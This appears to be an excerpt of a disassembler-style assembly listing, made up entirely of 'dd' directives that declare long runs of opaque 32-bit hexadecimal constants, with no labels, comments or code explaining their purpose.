		dd 0D8BFDE6Eh, 5E81CF62h, 5ADEAED9h, 0E2594E24h, 1ABD9497h
		dd 433186ABh, 92792E1h,	5D524C76h, 0CB42335Ch, 0B88980B4h
		dd 9678DBh, 8354841h, 314060A7h, 0E9A4C250h, 0FD49D20Bh
		dd 0B2ED036Dh, 0F04AEA2Dh, 846FD13h, 4014821Ch,	80C9BEF8h
		dd 250CBB53h, 0BA333E7Fh, 654F1376h, 0E3F50147h, 2B5BB917h
		dd 118B5BEEh, 7304767Eh, 4353C756h, 7F2002C6h, 0AD7C27E8h
		dd 0D2F88043h, 50970162h, 49F702E9h, 74E977D9h,	0EB1F725Ah
		dd 4F56DFFBh, 821944AFh, 5D1616F1h, 0CB843EF9h,	0AEE809E1h
		dd 58AE00C1h, 0BBD292h,	891AEFE4h, 0A831D98Dh, 665A0601h
		dd 0D076D681h, 73D8833Fh, 3DB83437h, 68B0F01h, 9D8D0DBAh
		dd 303A33EDh, 3EC01039h, 59FE53C6h, 68ADFE89h, 0A91E2Bh
		dd 7FD67DCAh, 0D30B58Bh, 36F11926h, 5E823061h, 0CE3C2724h
		dd 0C0532B25h, 0D020C0Dh, 2E118529h, 0C3E6830h,	134D8D31h
		dd 0FCF81881h, 850FE48Ch, 8938E9BDh, 0C015C1D8h, 2363F024h
		dd 72E2DBF5h, 6E12AB00h, 8C19AF7Ah, 87840058h, 28F28F47h
		dd 0B3017D5Fh, 805A620Bh, 46F03F2Dh, 161B0DBh, 55670FAEh
		dd 8A476F51h, 422DA51h,	0D2CA18FCh, 9F8310A2h, 0E508B600h
		dd 0DCC8BBC1h, 758B00DAh, 0CA2D0557h, 2462C54Dh, 24B82F28h
		dd 552221A7h, 60106112h, 89389BEh, 855344A1h, 0BB012284h
		dd 0E0D77F45h, 0F64BB5h, 22FF020Fh, 512DD85Dh, 0DE28F100h
		dd 9177BB81h, 0D1EA00CBh, 1CCF4741h, 70FE72B6h,	0EEA9E400h
		dd 7ED8D3BEh, 0F4461FF8h
		dd 0DCDD00DAh, 28E16C08h, 88B08E00h, 0FEA6C4B9h, 7BE008Fh
		dd 0BFA8137Fh, 0DD00F751h, 68D6735Ah, 0EEA2936Bh, 43A500AAh
		dd 2BDA9E12h, 83E1375h,	8A828022h, 31716251h, 3F7C23h
		dd 3B75B0D8h, 0BE65010Ch, 4EA89200h, 7007F449h,	0B5020755h
		dd 408F5393h, 46034859h, 35BC8802h, 40B19FD4h, 1998D9Dh
		dd 31A6B6A9h, 0FC59EB96h, 0CF7A5D54h, 2D00E27Fh, 76CA754Dh
		dd 1E47A6DEh, 0E8211C6Fh, 7FD300ECh, 2389589Fh,	7601A5B1h
		dd 24374062h, 9560100Eh, 16DD09C1h, 3E00CCEFh, 0F31B285Ah
		dd 240094FCh, 0F2C6C0ADh, 0BCAF7Ch, 9D0D979Ch, 6F10E949h
		dd 0D848E418h, 242F860h, 4E5227E2h, 88879158h, 0DDB14036h
		dd 0FEFC624Ah, 40030927h, 7113B41Eh, 9A9103DCh,	0B3ABF938h
		dd 92792A0h, 0A366000h,	185640E5h, 0D47C5Ch, 0A20EEA7Ch
		dd 526295B0h, 3F1C5300h, 200B69E4h, 0F69001E1h,	0CEDBD0A4h
		dd 5B6020A0h, 0E8B3F200h, 0AEE41FB0h, 1E183901h, 4E7CCB80h
		dd 78B81BD0h, 850ADE1Ch, 16D1AD80h, 1D403Ah, 6F8F6AC3h
		dd 0BADC9CF9h, 0ABB9A402h, 0E091D41Ah, 1A6E20Ch, 1775DA0Eh
		dd 0F4D75674h, 6C4C0F2Eh, 58350014h, 2CD61A59h,	5B1E01A3h
		dd 784039F8h, 979895DBh, 0D54C98h, 709254CDh, 401F2D6h
		dd 12DD8B3Ah, 0C2DCC008h, 1E047CD3h, 3991AF9h, 0AD737F80h
		dd 544E006Dh, 8C36451Fh, 170EFB31h, 6F55D9A2h, 3CE12032h
		dd 4894C39Eh, 0AA014060h, 0FA778D1Fh, 4C04702Fh, 478A7E0Eh
		dd 0E41C40D5h, 910993h,	7B10DAFEh, 0BDFAE5F5h, 0BC90AA3Dh
		dd 0E76F01EFh, 9E7ACC82h, 0FED01434h, 0ECF200EEh, 0F7555289h
		dd 0BA061B51h, 0B8F864A2h, 6D6300E1h, 0B7BF2394h, 59008BB1h
		dd 6F4F94Fh, 92EDCDBh, 275DF771h, 70E13007h, 44030E79h
		dd 36A62F1Fh, 54533EC0h, 3CFD19FEh, 0D5000780h,	0E39F0976h
		dd 3C003992h, 75BC2BF4h, 0ACA310h, 0E315F04h, 0DBA17F77h
		dd 0CBA54B00h, 0E776A969h, 8A033912h, 0C75E3500h, 0D14A41D6h
		dd 43D02760h, 0E86EEFh,	753E1438h, 0C7D0CEE6h, 0E07AD400h
		dd 0AC308457h, 585F00A6h, 0DCCA9FD7h, 7E0083E7h, 703DB403h
		dd 28C41FAh, 270F2D1Fh,	904B2CDDh, 5834C9h, 0BDE17h, 0F926B690h
		dd 1D6A8C6Ch, 78A0AB00h, 0BB99C4EBh, 0B8E400D8h, 0AE0D258Ah
		dd 0F01C9D0h, 1864EA2h,	4030BCCAh, 1C6E081h, 0A1D9D438h
		dd 0C4DAF3FEh, 0D00C1F6h, 8E70C8DCh, 52D15841h,	0A800C4B3h
		dd 0AAEB9CCFh, 0F5009095h, 0FC7D0145h, 94ADCDAh, 0D7A412A6h
		dd 0CA6A0000h, 0B803191Bh, 0DFA1B5E3h, 336DE0EAh, 0A89F500Dh
		dd 880C006Ah, 0D03B678Ch, 0EFA015C8h, 0A80066CFh, 5DC77277h
		dd 1DE4E0D7h, 3CF817C3h, 4DEC5B80h, 0E35BE36h, 82125438h
		dd 0B6773A65h, 0D3CC1F3h, 0CF44D0h, 2F57BC63h, 49AA5CFEh
		dd 0A1F72B03h, 0F0057AF1h, 0CD6DD08h, 0C78F3830h, 0F7027DB0h
		dd 0EB49564Eh, 0C0074201h, 43756Dh, 0BD5D1ED6h,	57563B71h
		dd 0CA81CE00h, 3D473CCFh, 0EFC8F7C0h, 0BCD00041h, 1D7C344Dh
		dd 0B2F2DBCAh, 0E9E49E02h, 60B154DDh, 0B80364C4h, 1311003Ah
		dd 14AFB93Ah, 25007F56h, 0A6451651h, 5CB17517h,	0B006CD8h
		dd 5CBE7AF3h, 0CD00AC82h, 0C8C455ADh, 90DA6DFh,	2A155E2Eh
		dd 40873C07h, 5875A4B2h, 22314200h, 187B0C16h, 0BDC1FBAh
		dd 62F142C8h, 0C8669B93h, 0CCFAAF00h, 0BDAC81F8h, 9AD00086h
		dd 67F35020h, 3C904771h, 14C05B01h, 0ADCB3F15h,	0C857A053h
		dd 0E7854Ah, 4180A188h,	0CB082C39h, 0B273C412h,	8B4F201Ch
		dd 0A7FE809Ch, 60E018h,	87A30394h, 3D8EBD86h, 80C3573Dh
		dd 72914752h, 0CC0EEBh,	6DA613A8h, 0F7E12FBBh, 8185AC3Fh
		dd 0D5C29EF6h, 1C30DC26h, 0FB2A00B3h, 2C6608AFh, 5075D936h
		dd 8523C90Eh, 0F073E095h, 262E6C1h, 397443CDh, 9DE06ECFh
		dd 0D724A5BBh, 64013457h, 0F3019CA2h, 98901CD0h, 405A7AC8h
		dd 6D0038D6h, 6B604ED2h, 71DD45h, 0A37CB4CCh, 829A08FCh
		dd 0A4908370h, 3069F808h, 987800F7h, 0CA9BC121h, 0F2952C00h
		dd 0DD2B7A0Ah, 0B0F6484Eh, 7FF44C00h, 6FE413AEh, 0DB341B00h
		dd 7FBA428h, 0A74000B8h, 0BFF27454h, 5E00CC89h,	0F6712406h
		dd 0A88FA2h, 622AD46Eh,	3DFCD9F8h, 94A37E01h, 0DFBF1778h
		dd 1512C4h, 0AE86E4B2h,	0B862474Ch, 94B5F200h, 0DAAC6B32h
		dd 7CF40542h, 901BB384h, 0F09B4918h, 0E63B5600h, 226C99B6h
		dd 5BA900AEh, 0F1E2172Ah, 0D00021B5h, 9402967Bh, 10DB36h
		dd 0C3ABFA7Ah, 0B32DC205h, 0D0098407h, 0AEA0370Ch, 4DE37Bh
		dd 0A9419C0h, 0C23217E7h, 8B347302h, 40871149h,	43BE2Bh
		dd 0ED8E4E92h, 0FDC22957h, 8F45E403h, 0F013DF81h, 0A7D86Ch
		dd 0C6607D2Eh, 0EB63FC0Fh, 0B8F9FA01h, 0F4C91C34h, 90DD32F8h
		dd 26AF000Ch, 9FCABE7h,	0CD000318h, 1FCC4A44h, 0B8DD79B1h
		dd 0F2AD0032h, 783FD19Eh, 7213CB35h, 0F4608985h, 3A60A668h
		dd 0E012EF0Eh, 160C0F95h, 11022240h, 0AD2CDD35h, 8185E077h
		dd 6D80DA2Fh, 75436846h, 1AD2009Fh, 350177B7h, 0C000471Dh
		dd 0CE117413h, 7B22DAE8h, 3850735Ah, 83000662h,	71EBC035h
		dd 0DB0024CBh, 8E739AE0h, 0F224813h, 0C6CDD1E4h, 52E18482h
		dd 0BCB2F446h, 0E2D10B00h, 3F2947D3h, 0AE0500F1h, 3EC8B4CDh
		dd 1C7D7E08h, 0ADB7A305h, 0A4C02A3Ch, 71B10Fh, 4A063D17h
		dd 651E79E1h, 3F00777Fh, 265AEC5Fh, 1EE43B0h, 0D8AE5867h
		dd 0C8DBC5F2h, 4507B2C0h, 0E45CCC54h, 10E65900h, 467201D2h
		dd 0E206045Dh, 7AAC4817h, 87ECC02h, 617F8E40h, 0F3C49408h
		dd 0C76B07E0h, 905856D1h, 0A6554C67h, 37029C00h, 384713D4h
		dd 218A1F7Fh, 9AB4C0F0h, 30855483h, 31D9EFCh, 0A3004AE2h
		dd 0B8C06345h, 0F4E700CEh, 23A4F3D6h, 0D4008E7Eh, 0E0C2F174h
		dd 1493CB58h, 908A99DCh, 0D520AB01h, 0C4AE9DF3h, 0B00056Fh
		dd 0F5523D42h, 7F3F807Ch, 0E31E0056h, 6B37172Fh, 6C784B36h
		dd 0B006E201h, 381A2E5Dh, 1FB30AD0h, 0C1C110D7h, 390F99EAh
		dd 0E802CB9Fh, 9DEE26C5h, 80B08307h, 904F891Ch,	9E68ECh
		dd 46B9F9C0h, 5153C510h, 0ABC8951Fh, 214C4940h,	0DAA3FAh
		dd 0F1CEA058h, 6B3374DFh, 69A53000h, 8B7F24D4h,	0D770002Eh
		dd 0FD654B56h, 70E8E8Dh, 0E3449D32h, 0F096BF50h, 646E0CBh
		dd 0CE4E3CA9h, 0BA0021C4h, 945C020Fh, 0B47740h,	0E607915Eh
		dd 3E8805FDh, 3B113D5Ch, 3800799Fh, 4DAB8172h, 0EECF13D0h
		dd 0CEF819h, 0E85E2A4Ch, 0E085B587h, 80BB663Bh,	0A678EB80h
		dd 90F9C543h, 0BDE60713h, 60643E7Dh, 0F84F4A1Fh, 8FF09C00h
		dd 7B42882Bh, 56E706CBh, 587438BAh, 0E6ACB900h,	8224046Fh
		dd 1226008Eh, 0EC0DEAE9h, 5D001D74h, 53332A3Dh,	9AD542h
		dd 0D2E99454h, 83359BCCh, 61F8A00h, 0EB3897F0h,	0B8CD07C9h
		dd 230854E4h, 33A0ECD7h, 0B3021565h, 76ED4449h,	0A4503Eh
		dd 563A91C0h, 0C32E08Bh, 0F1EFCB00h, 7E870B9h, 0C6D11202h
		dd 8EB09081h, 0AD0105CEh, 0AEAA13F5h, 16F46BE1h, 1A0B089h
		dd 463BB009h, 201D54E3h, 97007E6Fh, 2683732h, 240EA03Ch
		dd 0FCE667h, 0F871F059h, 0A0C2216h, 909FA673h, 4E12FADBh
		dd 6CA400EEh, 6B7E7F3Fh, 8A19D773h, 6AB80FCAh, 373109Fh
		dd 0EDE45D08h, 0F0703100h, 47E6AD9Dh, 0B6AC3A77h, 0EE0F5C00h
		dd 3A46A750h, 5470FB00h, 0ED1EA151h, 8A890018h,	0C7665AF0h
		dd 470E6A27h
		dd 94EEA37Fh, 8B770548h, 3C407E09h, 23E3ADB5h, 148E3D5Fh
		dd 0A473088Ah, 0E85B0018h, 468762EDh, 8DDA591Dh, 0DF68123Dh
		dd 0B909487h, 3FD90961h, 0C680C822h, 0E1FCB0EEh, 0AA043A67h
		dd 0E6ECD135h, 2AD2ECC0h, 0B10C0308h, 513B9A42h, 7FEB5EF0h
		dd 727BE3Eh, 31E3FBA3h,	5FBF1CF0h, 7A5E0A8h, 0B620AD67h
		dd 0F4BA60ABh, 45009926h, 70B4892Bh, 7A9905Dh, 0E5723723h
		dd 99B2C068h, 0ED097B5Fh, 0E028F082h, 7AA7A84h,	0CAAE4837h
		dd 0A6A781ECh, 739717EFh, 40711F98h, 0A82BB4A2h, 4B89EAA7h
		dd 600C60FCh, 1D7511BFh, 6E20358Ch, 0AB38C1E3h,	8047CB6Ch
		dd 56995B49h, 0A8A364E5h, 185344A4h, 11AEF0AFh,	0BF08655Ah
		dd 2B1DCAh, 25B290DAh, 608429C2h, 0E44248F2h, 5A88AD64h
		dd 0C0F368A5h, 0C4709D50h, 479F0BA3h, 4DE06466h, 486AE50Dh
		dd 310C00ACh, 25E01C73h, 0AF2C1F14h, 0A883D84h,	8C946EEDh
		dd 0F1430C80h, 0E72D93h, 7D47BEA8h, 0D883998Bh,	0CC86DC0Fh
		dd 1C60D802h, 0E50A0761h, 8F6AF3D7h, 0C17036CCh, 88F2D130h
		dd 1D854579h, 80539E4Fh, 705D7F3Eh, 4B3C6F49h, 41950186h
		dd 4A69DB84h, 28927CD0h, 3D50DABh, 97487942h, 40B773AFh
		dd 884326F2h, 686E5100h, 6FDB5E78h, 0F44008Ch, 6D4F8A42h
		dd 5C00884Ch, 4B9A4D84h, 0F123496Ah, 785F385Ch,	0E9757899h
		dd 628C184Ah, 7A787708h, 67B05167h, 764F7060h, 906AEE49h
		dd 62860047h, 4D0BF275h, 0A1E5196h, 2400776Eh, 107E8C53h
		dd 0AE233069h, 6F14A5D1h, 6B69A1F0h, 0E1C8E539h, 81282FF0h
		dd 25A82110h, 0C85305BFh, 8008B2E4h, 346FB0F8h,	12BC9037h
		dd 4224430Bh, 0FE1F261Ch, 2071C849h, 8A6F3F36h,	38401229h
		dd 16871E4Ch, 72A10AB1h, 2CB4F5h, 3D2BBCD7h, 0F4532D03h
		dd 21DD3B0Ch, 0E2636205h, 50301840h, 15F61E18h,	506FAF58h
		dd 3126508Eh, 0A541BFA8h, 5BE98383h, 0AD9BCD8h,	25E74B19h
		dd 71A58578h, 0B558089Fh, 3B9DE477h, 0F91DC4F2h, 66B00E74h
		dd 8001C416h, 0E422A1C3h, 0CC24A467h, 13C01823h, 0A6705839h
		dd 0F174ACFAh, 12E05C18h, 24CAF519h, 8BE4321Eh,	950917B1h
		dd 1C66B802h, 1BE6FCC0h, 0F2F950B0h, 6810E919h,	594C3ABCh
		dd 0EA5B03B8h, 0F9DC505Dh, 0C409C70h, 547135DAh, 504E98CEh
		dd 3DA95836h, 2AA91331h, 1077D164h, 2A6B831Ch, 818CE864h
		dd 20929BCh, 4A1158B8h,	75398C2Ch, 19023098h, 4C53EE90h
		dd 487202F8h, 612344E7h, 2608E15Ch, 0DC8E3F22h,	0C193DB40h
		dd 32B805D7h, 0E428E68Ch, 0A65204D4h, 0C96FAC7Bh, 0F298907Ch
		dd 8E646781h, 8B9196BEh, 0F5A24480h, 51F46154h,	4C662744h
		dd 912C6A88h, 6428ACEEh, 984CC342h, 16482828h, 145E254h
		dd 0DAE05B90h, 220C233Dh, 8025572Fh, 6199FE34h,	40EDB40Ch
		dd 7B31838Ch, 0FC042259h, 88AF539Fh, 27450B0Bh,	10F47888h
		dd 10DA8505h, 20819425h, 405B990h, 3293FC28h, 73D725A7h
		dd 9946F080h, 2E2A140Ch, 0EA79098Ch, 0C20C9F51h, 0A03E15DEh
		dd 4245F2A8h, 85CF220Dh, 99921A80h, 0A0580C30h,	9CADACBAh
		dd 0A11E1951h, 92096EEEh, 0A07CF5B1h, 0A38985F0h, 0A81404E2h
		dd 25ACDF42h, 1F385129h, 50AF600Ch, 0CEA8AB90h,	71361A1Dh
		dd 9BA2B1B2h, 32817CA8h, 2C79E80Bh, 0ABD9D899h,	0B2655821h
		dd 2C6A4C52h, 0C4D71088h, 2BC16F59h, 803CEE64h,	0ED8B6C10h
		dd 98D4BF5Eh, 2D363E04h, 2C407744h, 0CC64526Ah,	0DFACE004h
		dd 0A38480D4h, 2314BE83h, 1FC44B87h, 2022E516h,	21245056h
		dd 2F45A8A8h, 0D9B03C37h, 8DF4DC17h, 3C8EE8A2h,	7D328F08h
		dd 0D8A8F253h, 0FEDEE13Ch, 203CFAA0h, 0C25F2FAAh, 39DA4400h
		dd 1F6DC3BCh, 2E08D5A2h, 79684160h, 5606D86Ah, 1721735Ch
		dd 3300A51Ah, 0C51965F9h, 8A24091Fh, 78C45B7Ah,	0B7399300h
		dd 8D691966h, 293C00C2h, 926D3340h, 0D101F94Fh,	1A681E67h
		dd 0CC24568Ah, 0CA5F88E1h, 0B40C3C0Eh, 6E9DA740h, 0A0F84270h
		dd 0AF280210h, 8B3DD103h, 4F00A45Ah, 0ADC8EB68h, 0B2417Eh
		dd 3B974EDCh, 0E424155Fh, 5A135300h, 0C328B4EEh, 5730399h
		dd 42F69B78h, 0BCE916E0h, 3D4C4700h, 49081CCCh,	62C80068h
		dd 7E797FAFh, 6107EB73h, 27E3B1A5h, 0FCA9A10h, 4E52061Ah
		dd 89E40BF0h, 4A3AE200h, 0ECA99F9h, 0B05D001Dh,	69CFCB7Bh
		dd 0EEE48473h, 80284D3Ch, 30F5B1Eh, 931C68h, 8296F1EFh
		dd 35808F72h, 60E76926h, 58138580h, 0F05A88FEh,	0D8C73E3Ah
		dd 8364E50Ah, 21C192B4h, 0C808B5FCh, 76504531h,	0B3061DA6h
		dd 840C2360h, 2B7800A1h, 0FC34A772h, 2F0712F0h,	4F43F3C6h
		dd 68824C47h, 2CA087B5h, 0C02676F2h, 92F684h, 50737A38h
		dd 9B556A98h, 56DA801h,	0CC337B56h, 0E4E930h, 78B5E2D0h
		dd 7D811F92h, 0D20D6903h, 0E0F6406Bh, 7C1B6F83h, 0C46818BCh
		dd 708429B6h, 8F1D07F8h, 46C030D4h, 38852803h, 0CE0C0736h
		dd 0B0AF50D2h, 6B91DD17h, 57D7CD04h, 5AC081E1h,	16471B84h
		dd 0D2C3A8h, 9FCA7DEAh,	777B54AAh, 0CD720700h, 0BA1FF8D6h
		dd 0B1E30053h, 0C3AA9CE4h, 74142F5Eh, 0E1201A17h, 5A1802ABh
		dd 2A13A406h, 30A3D3h, 0BB877C37h, 0CDE868BDh, 31095463h
		dd 172000A4h, 95DD8774h, 30F4EAEh, 87C72E47h, 1DF7A3D7h
		dd 8C4C894Fh, 49E8BBh, 0DB43194h, 69DDFBC1h, 0D3013E72h
		dd 214EFD15h, 7AC0C040h, 0A8540EF8h, 0ADA070E7h, 0F40251E3h
		dd 0CD1CC30Ah, 5D129096h, 8054CF10h, 0BDB28745h, 2D448C20h
		dd 877D3F7Eh, 62501F00h, 173E2326h, 2B6A1400h, 0B177AC46h
		dd 1A872054h, 0E9C1470Ch, 182FA0FEh, 182B085Dh,	510604D5h
		dd 0A7DCBDC4h, 50D74858h, 2F771103h, 2791EE40h,	0B8089808h
		dd 31B6C21h, 55B5B111h,	0B018D4F2h, 0EF99302Ah,	7297172h
		dd 0D3977C04h, 58218376h, 3E8987E8h, 0C37EF900h, 0DD1BBBE8h
		dd 20ECA0F2h, 4143602Bh, 0B008EBCCh, 0F75B1800h, 976A7095h
		dd 0BDA80090h, 553C1BAAh, 8D0042C9h, 440FB512h,	4453D374h
		dd 2F294648h, 4A1BD8CEh, 16C7E0A1h, 52A97890h, 0C8B7784Dh
		dd 1EECB3C0h, 43D3018Dh, 0F6BD0CAh, 6800D7ACh, 2623E1C3h
		dd 5E75CF9h, 0ED7FD13Ch, 6CEC0795h, 43911CCCh, 0A08209C0h
		dd 0EA3B3D57h, 12220697h, 79311072h, 29CFCC33h,	327690C0h
		dd 29A10389h, 83474523h, 2100CDFBh, 21A8EFC7h, 0EBBB869h
		dd 0EE492DA4h, 86E54978h, 0B2948F02h, 615ADA1Bh, 3420D2FCh
		dd 41048C16h, 40BDB687h, 12202E62h, 36A8779h, 0AC29900Fh
		dd 0D1F0FDBBh, 0BA152761h, 44708A83h, 7E00E398h, 0DF4D143Bh
		dd 36B57481h, 4021D147h, 182AF100h, 4928AF87h, 0C7880080h
		dd 0C1315EB2h, 8F188BADh, 4ED0B07Eh, 7D491DAh, 0B99E3161h
		dd 6019E804h, 23B9873Eh, 2B1178BDh, 87761500h, 0EC8EC152h
		dd 1E445F00h, 31847847h, 0D27F0055h, 0C9B4CE0Bh, 6D14FE03h
		dd 1294AA9Ah, 0FC20CC85h, 193B7E3h, 20BE513Eh, 988E48A8h
		dd 9D9DE08h, 67930080h,	2934366Ah, 0A61C9F7Ch, 84459A24h
		dd 0B58071DFh, 48F650B1h, 1D075833h, 0C92440EFh, 829C6B08h
		dd 29C07C8Eh, 90D1CC40h, 6AD53700h, 3C3473Eh, 29B260DDh
		dd 0ED3B9996h, 0B0E6F400h, 1B5A720Eh, 0D3640449h, 10A93D4Fh
		dd 11823F4h, 0BDB8873Fh, 88301870h, 0CAA17714h,	2B8C4253h
		dd 0A042706Ah, 2BE44C45h, 2EE91F60h, 20565202h,	0A4C24938h
		dd 88143E0h, 8213CC4Ah
		dd 0B7F8808Fh, 96052E6Ch, 0D4CF84B0h, 9F1BBC40h, 1FF20D6h
		dd 0EF8C8353h, 3062CAB6h, 0CE2AD4A6h, 0C70EC0D9h, 0E7EE5793h
		dd 0DED3C3D5h, 0EA41A099h, 1CA79E3h, 0CE22AB66h, 50DDBE48h
		dd 87BD790h, 53D95E00h,	16209E49h, 0A70ECB2h, 3528652Fh
		dd 0D3A80980h, 60BC1884h, 23761125h, 0BC11382Fh, 111E6902h
		dd 0E080792Dh, 0CF50B55Ch, 61BF1C0h, 0A0A2527Eh, 2C474EACh
		dd 0AA00ACE1h, 3C6E49D0h, 4593B480h, 448C5651h,	0BD000ADAh
		dd 0B2AEAA93h, 375530D3h, 0A0B81FB3h, 0BB20A92Fh, 3B2E8A7Eh
		dd 0C8007F04h, 6AA2DDEEh, 788CB3ADh, 0A3062EC1h, 7EC94F51h
		dd 3C838B8h, 9C6EA4h, 5FC11823h, 4729578Ch, 0AB0AD031h
		dd 0E68080C6h, 0A01D3F43h, 247A016Dh, 214B66B5h, 0B02EF8B3h
		dd 4A748300h, 29473B4Fh, 2384A8CAh, 39750CB3h, 0A849C7B1h
		dd 307F7E00h, 9A2EEBCBh, 0FE2D0008h, 0B404D29Dh, 29CBFF48h
		dd 3A0C102Ah, 7B0C1CADh, 301243ECh, 0F4D836EDh,	0C11C1D46h
		dd 4C8614B5h, 0C61D5A8h, 0CEAC7AD4h, 7904F249h,	684B25E9h
		dd 695358C2h, 2187FE5Ch, 0A0E9718Fh, 0A1C496ADh, 49C8BB60h
		dd 1E97A804h, 4075F27Ch, 47351D24h, 3304CE51h, 3E3C7D2Fh
		dd 2ED43491h, 0C04664E0h, 4C8C1C10h, 550CE76Ah,	69C4B0CDh
		dd 151EA32h, 78D8AD67h,	0FCD4954Eh, 82152565h, 98CBCFh
		dd 0FE8DA91Dh, 0E88F53Dh, 4053223Eh, 56C0A5AEh,	211EF8BCh
		dd 823CAB48h, 0E0BD204Eh, 9A9CF3A4h, 0C2573280h, 0A7C3D31Ch
		dd 0ADAF5900h, 78622E4Fh, 7359003Fh, 0E1BDF8F9h, 6498DC47h
		dd 97800499h, 0BB801474h, 0E3D300F5h, 3DE4DE5Eh, 4F497C6Ah
		dd 0B584C64h, 88C430D6h, 5C80D45Ah, 69A2E41Fh, 7DAB00B9h
		dd 50C5DBFCh, 51543BF7h, 3E04FB1Ch, 8D7546F1h, 88124488h
		dd 3C6050D2h, 852F7151h, 0AC1D50F8h, 3BBD00B5h,	0AA9FC52Dh
		dd 0BB00AD56h, 0EF49189Eh, 31475137h, 465087B9h, 0B247230h
		dd 0A09516F0h, 8F3D6D4h, 78C013C5h, 4CC847C4h, 9899192Bh
		dd 843181Ch, 50BDB487h,	37B8070h, 284F4387h, 63C01290h
		dd 0DD1A029Dh, 4160C87Eh, 20198140h, 2F266B30h,	80C44020h
		dd 11176843h, 6D5350E8h, 991BEB00h, 9C315A83h, 0CF5503ADh
		dd 4A7B1CEAh, 0D4CEDBD9h, 0FE722952h, 8CFC9D28h, 24480648h
		dd 76C08079h, 464B22E9h, 4FC2250h, 0B5E96E8Ch, 2C7C9142h
		dd 1E30F438h, 0C11C8700h, 0F825EE46h, 0AB4300EDh, 316F9895h
		dd 3A50105Dh, 0D709B49Ch, 11E0C11Ah, 84367040h,	4393B602h
		dd 0C0C7A651h, 93BF0C01h, 63FCB066h, 0CA3C01F7h, 4C848FBAh
		dd 0C5608A27h, 0D781B8C1h, 1D60852Eh, 55A08C28h, 15843BB7h
		dd 0EC2354AEh, 988D8203h, 2EE8664Ah, 4726EDE0h,	4E405035h
		dd 0C0ADDC05h, 0E7A66361h, 4D04FF0Bh, 0B144257Fh, 3380C8h
		dd 0D3CB2D47h, 0E161E54Eh, 22FA8618h, 72653270h, 0B14980F3h
		dd 98D06777h, 0D50B03A8h, 6D07C51h, 0A7C9F149h,	0A57520E3h
		dd 1399480Ch, 0A3110EDh, 76D4A989h, 0E96DC0E0h,	88464B21h
		dd 931DFA22h, 9540E985h, 493ED30Fh, 0E8AF30C9h,	0B1468451h
		dd 48D2AB2Eh, 0F4DB2912h, 21C29DC4h, 901A0643h,	2908420h
		dd 1608164h, 0D22085F4h, 0F8404048h, 0F0A5DE61h, 9E6096DCh
		dd 6DD009Eh, 3A193BA6h,	4ADFFD00h, 9B8262ACh, 0F8ED0EA3h
		dd 0CFACC948h, 4F0C42F0h, 41B5DC12h, 5D6F0069h,	84A10FC6h
		dd 6D00DB77h, 2142B16Ch, 7EF255E8h, 0DC9E0A83h,	3AF8BB16h
		dd 0B02C54C9h, 9BE34018h, 0A5E62701h, 0CE1E337Dh, 99C0E60Fh
		dd 257D6A76h, 492404C5h, 0C450BB13h, 0C8489834h, 837D1710h
		dd 0C0E95F37h, 9D458726h, 0B7D8A604h, 1DC4E3BBh, 0CE4E8802h
		dd 8B704044h, 0DC538031h, 0F777111Eh, 187C8FC2h, 680C802Dh
		dd 0F84E6C2Ah, 18485064h, 0FD81394h, 0C8A800BEh, 0E903BAC3h
		dd 46D8E850h, 1F44284Ch, 0A55FF7C2h, 0E7C098FAh, 242E4399h
		dd 16E0E249h, 0BC3C2077h, 80F7051Bh, 0E0B32840h, 9B3347h
		dd 6598DBCBh, 759A9372h, 6879767Ah, 0A7901A0Fh,	97960073h
		dd 0C6EE5E77h, 28605A26h, 0A5436977h, 6C06948Fh, 677D305Fh
		dd 5AF8AEEAh, 1979220h,	626B9B63h, 0C474A593h, 0AA0632A0h
		dd 64A89A76h, 71960D90h, 0D318A166h, 6063A5B8h,	64A99C0Eh
		dd 75998678h, 719D7428h, 69F6067h, 6665A691h, 5A6C78C3h
		dd 62311F97h, 0D159F7A8h, 48AA5E5Ch, 3254EE0Ch,	70009984h
		dd 68A19374h, 0A0A75F69h, 289C6288h, 0E8145D6Bh, 0CFDD07B9h
		dd 8191E159h, 0A68EB6FBh, 1901E449h, 0F0D53060h, 0B8343180h
		dd 3D5647C5h, 25735200h, 71C02883h, 23B40067h, 0CA810FAAh
		dd 0A9002C24h, 15BFF4B3h, 7CDAA896h, 35FD0791h,	0E3E6C1C8h
		dd 0B7F9395Bh, 527180B6h, 8AE4D09Bh, 0CAE94054h, 98766D07h
		dd 96F6723Ah, 187D1D28h, 1745020Ah, 0E003F348h,	6EA128CEh
		dd 0B210E518h, 68C82B5Bh, 0F6E04392h, 1BB3311Dh, 118CD9Ah
		dd 0EDD4142Ch, 1391011h, 0A4E23415h, 0E50FCE40h, 0AF4B1D10h
		dd 0CF5B833h, 95FA1559h, 0A8A41A30h, 2CFEF028h,	1792444h
		dd 589F1BE8h, 5034F33Dh, 4429D6B4h, 0F4A12C14h,	5D4810D0h
		dd 9618FC8h, 2F0C3355h,	5225C00Ch, 33F3305Ah, 0EF1838ECh
		dd 809C8889h, 0C18C1668h, 64D52DDFh, 413EC8EDh,	0AD1C7592h
		dd 0E33DC43h, 0A40CF9F1h, 0A153198h, 39189962h,	564C87DCh
		dd 842058EAh, 1FFB5722h, 0A4B9B833h, 0B9981818h, 2530BCD6h
		dd 2E1A31C4h, 9618CAD8h, 0F0728A4Ch, 0E89B1458h, 0FD914230h
		dd 0DB48E014h, 81396F28h, 3EE87D96h, 0F1CDA449h, 3685C90Ah
		dd 0C1B8C474h, 44DC2C2Ch, 0C4854A2Bh, 0CFC83141h, 0EA509019h
		dd 1057B288h, 0CB9A84F5h, 0F794103Fh, 0C24298A7h, 0D4881FCAh
		dd 2C0150A0h, 504F2A89h, 28D7EC84h, 1228A10Bh, 0C73C841Ah
		dd 46841828h, 0DA54A17Ah, 1123210Ah, 46D0A8A2h,	0EFE013F5h
		dd 6C885C24h, 1B9144B6h, 0DC116099h, 0EB8E9609h, 0EC0E6011h
		dd 61DA4F17h, 0B7848240h, 0AE2796h, 45A34E7Bh, 989558C8h
		dd 159B0920h, 5AB2B712h, 9C90A048h, 53BE1F8Eh, 8FA44CC7h
		dd 0B953B610h, 4017134Ch, 4529832h, 912549F8h, 3C5C1BB0h
		dd 46390C3Eh, 1E113C17h, 1074E34Ch, 0E0125D48h,	89DC32FAh
		dd 4109A893h, 90269678h, 93DB4168h, 13848A4h, 8A1C36BEh
		dd 16A601D9h, 1C6AA4F8h, 8F53625Ah, 75619969h, 0D2A95F2Bh
		dd 0AAA2E4C3h, 8E97D9C0h, 93BD3C03h, 0E7CE746Fh, 529569B1h
